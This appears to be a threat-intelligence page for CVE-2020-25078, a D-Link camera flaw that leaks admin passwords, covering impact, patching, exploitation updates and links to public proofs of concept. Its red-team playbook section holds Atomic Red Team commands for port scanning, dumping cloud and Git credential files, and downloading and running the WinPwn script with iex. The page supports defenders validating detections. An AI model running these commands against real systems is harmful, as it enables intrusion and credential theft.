CVE-2020-25078

HIGH CISA KEV POC TTE 208d Pub 02/09 Upd 21/10

Overview

This vulnerability is an information disclosure flaw caused by improper access control on the /config/getuser HTTP endpoint in certain D-Link camera firmware versions. The endpoint does not require authentication, allowing unauthenticated remote requests to retrieve sensitive configuration data. The affected component is the web management interface of specific D-Link camera models' firmware, which exposes administrator credentials through this unsecured API path.

Vulnerability Description

An issue was discovered on D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices. The unauthenticated /config/getuser endpoint allows for remote administrator password disclosure.

Impact

An attacker can remotely retrieve the administrator password of the affected D-Link cameras without any authentication or user interaction. This unauthorized disclosure enables full administrative access to the device, allowing the attacker to control camera functions, modify settings, and potentially pivot within the network. The exposure of credentials compromises device confidentiality and integrity, increasing the risk of surveillance, data exfiltration, or further network exploitation.

Solution

D-Link has released firmware updates addressing this vulnerability, including version 1.06.01 Hotfix for the DCS-2530L and version 2.02 or later for the DCS-2670L. Users should apply these specific firmware updates to affected devices as detailed in the vendor advisory (SAP10180) available at https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180. No alternative workarounds were provided; updating firmware is the recommended remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in certain D-Link camera firmware versions arises from an unauthenticated endpoint that exposes sensitive user information, specifically the administrator password. This flaw is particularly concerning as it allows attackers to access the /config/getuser endpoint without any form of authentication. The lack of proper access controls means that an attacker can remotely retrieve the administrator password, which can lead to unauthorized access to the device and potentially the broader network it is connected to. The affected models include DCS-2530L and DCS-2670L, among others, which are widely used in various environments, including residential and small business settings.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage this weakness by sending a crafted HTTP request to the vulnerable endpoint. Given that no authentication is required, the attacker can easily obtain the administrator credentials. Once the password is disclosed, the attacker can gain full control over the device, allowing them to manipulate settings, view live feeds, or even disable security features. Furthermore, if the compromised camera is part of a larger network, the attacker could pivot to other devices, escalating their access and potentially leading to more severe breaches.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on these cameras for security monitoring. Unauthorized access to surveillance systems can lead to privacy violations, data breaches, and loss of sensitive information. For businesses, the repercussions can include financial losses, reputational damage, and legal liabilities, especially if personal data of customers or employees is compromised. Additionally, the exploitation of such vulnerabilities can lead to broader network attacks, where compromised devices become entry points for further infiltration into corporate networks.

To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches to address known vulnerabilities. Network segmentation can also be employed to isolate IoT devices from critical systems, reducing the risk of lateral movement in case of a breach. Monitoring network traffic for unusual patterns or unauthorized access attempts can help in early detection of exploitation attempts. Furthermore, employing strong, unique passwords and enabling two-factor authentication where possible can significantly enhance the security posture of these devices.

In conclusion, the vulnerability present in specific D-Link camera firmware versions poses a serious threat to both individual users and organizations. The ease of exploitation combined with the potential for significant real-world impact necessitates immediate attention from users and administrators. By adopting proactive security measures, including regular updates, network segmentation, and robust authentication practices, the risks associated with this vulnerability can be effectively managed. Continuous vigilance and a commitment to cybersecurity best practices are essential in safeguarding against such vulnerabilities in the ever-evolving landscape of digital threats.




Recent developments in the CVE-2020-25078 vulnerability landscape indicate a marked escalation in exploit availability and recognition by authoritative cybersecurity entities. CSURFACE threat intelligence has identified the emergence of publicly accessible proof-of-concept exploit scripts on prominent code-sharing platforms, facilitating easier weaponization of the vulnerability. Concurrently, this vulnerability has been formally incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its operational relevance and elevating its priority for remediation efforts. Our telemetry further confirms a significant increase in the Exploit Prediction Scoring System (EPSS) value, reflecting a heightened likelihood of exploitation in the wild. These changes collectively amplify the threat level from theoretical to actively exploitable, demanding increased vigilance from defenders. The availability of automated exploitation tools lowers the barrier for adversaries, potentially expanding the attacker base beyond sophisticated actors to include less skilled opportunists. While ransomware usage linked to this vulnerability remains unconfirmed, the enhanced exploitability and official recognition suggest an elevated risk of integration into broader attack campaigns. This shift necessitates a reassessment of organizational exposure and prioritization within vulnerability management programs.



Update 2 — May 21, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-25078, accompanied by the emergence of new proof-of-concept tools that automate credential extraction from vulnerable D-Link devices. Our telemetry indicates that these developments have lowered the technical barrier for adversaries, enabling a broader range of threat actors—including less sophisticated opportunists—to leverage this vulnerability. Although ransomware activity linked to this flaw remains unconfirmed, the increased availability and sophistication of exploitation frameworks suggest a heightened risk of integration into multi-stage attack campaigns. This evolution elevates the threat level from theoretical to actively exploitable, underscoring the necessity for defenders to reassess exposure and prioritize monitoring for related indicators of compromise.



Update 3 — June 07, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2020-25078, reflected by a notable increase in detection activity across our sensors. This surge coincides with the continued availability and refinement of publicly accessible proof-of-concept exploit scripts, which have lowered the technical barrier for adversaries to extract administrator credentials from vulnerable D-Link devices. Although ransomware campaigns directly leveraging this vulnerability remain unconfirmed, the heightened exploitation activity signals an increased likelihood of integration into broader attack chains, potentially facilitating lateral movement or initial access in multi-stage intrusions. Consequently, the threat level associated with CVE-2020-25078 has shifted from a primarily theoretical concern to a more imminent operational risk, warranting heightened vigilance and prioritization in monitoring efforts.



Update 4 — June 19, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2020-25078, accompanied by a modest rise in the EPSS score, indicating growing attacker interest and potential for successful compromise. This uptick, while not yet a marked escalation, reflects a trend toward more frequent scanning and exploitation efforts against vulnerable D-Link DCS-2530L and DCS-2670L devices. Concurrently, new proof-of-concept exploit scripts have surfaced on public repositories, lowering the technical barrier for adversaries to leverage this vulnerability at scale. Although ransomware groups have not been definitively linked to this vulnerability’s exploitation, the enhanced activity and expanding availability of exploit tools elevate the risk of integration into multi-stage intrusion campaigns. For defenders, this evolving landscape underscores the necessity to maintain heightened monitoring and threat detection focused on this vector. The threat level for CVE-2020-25078 has accordingly shifted toward a more imminent operational concern, warranting closer attention within vulnerability management and incident response workflows.

Affected Products (9)

Vendor Product Version CPE
dlink Dlink Dcs-4603 Firmware All cpe:2.3:o:dlink:dcs-4603_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-4622 Firmware All cpe:2.3:o:dlink:dcs-4622_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-4701e Firmware All cpe:2.3:o:dlink:dcs-4701e_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-4703e Firmware All cpe:2.3:o:dlink:dcs-4703e_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-4705e Firmware All cpe:2.3:o:dlink:dcs-4705e_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-4802e Firmware All cpe:2.3:o:dlink:dcs-4802e_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-P703 Firmware All cpe:2.3:o:dlink:dcs-p703_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-2530l Firmware All cpe:2.3:o:dlink:dcs-2530l_firmware:*:*:*:*:*:*:*:*
dlink Dlink Dcs-2670l Firmware All cpe:2.3:o:dlink:dcs-2670l_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
MzzdToT/CVE-2020-25078
D-Link DCS系列账号密码信息泄露漏洞,通过脚本获取账号密码,可批量。
MzzdToT 4 3 2021-03-30 View
flags-alt/abyss-c2
ABYSS C2 — HiSilicon DVR Exploit Framework (CVE-2020-25078). Educational IoT security research platform.
flags-alt 1 1 2026-05-20 View
chinaYozz/CVE-2020-25078
CVE-2020-25078账号密码信息泄露批量脚本Batch script of D-Link DCS series camera account password information disclosure
chinaYozz 0 0 2021-10-15 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

8 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-08-05
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-03-30
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
85% auth_bypass
hardcoded_credentials
64% hardcoded_credentials
Remote Code Execution
45% rce
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-25078
supportannouncement.us.dlink.com
GitHub CVE x_refsource_MISC
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180
twitter.com
GitHub CVE x_refsource_MISC
https://twitter.com/Dogonsecurity/status/1273251236167516161
support.dlink.com
NVD API Product
https://support.dlink.com/productinfo.aspx?m=DCS-2530L
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-25078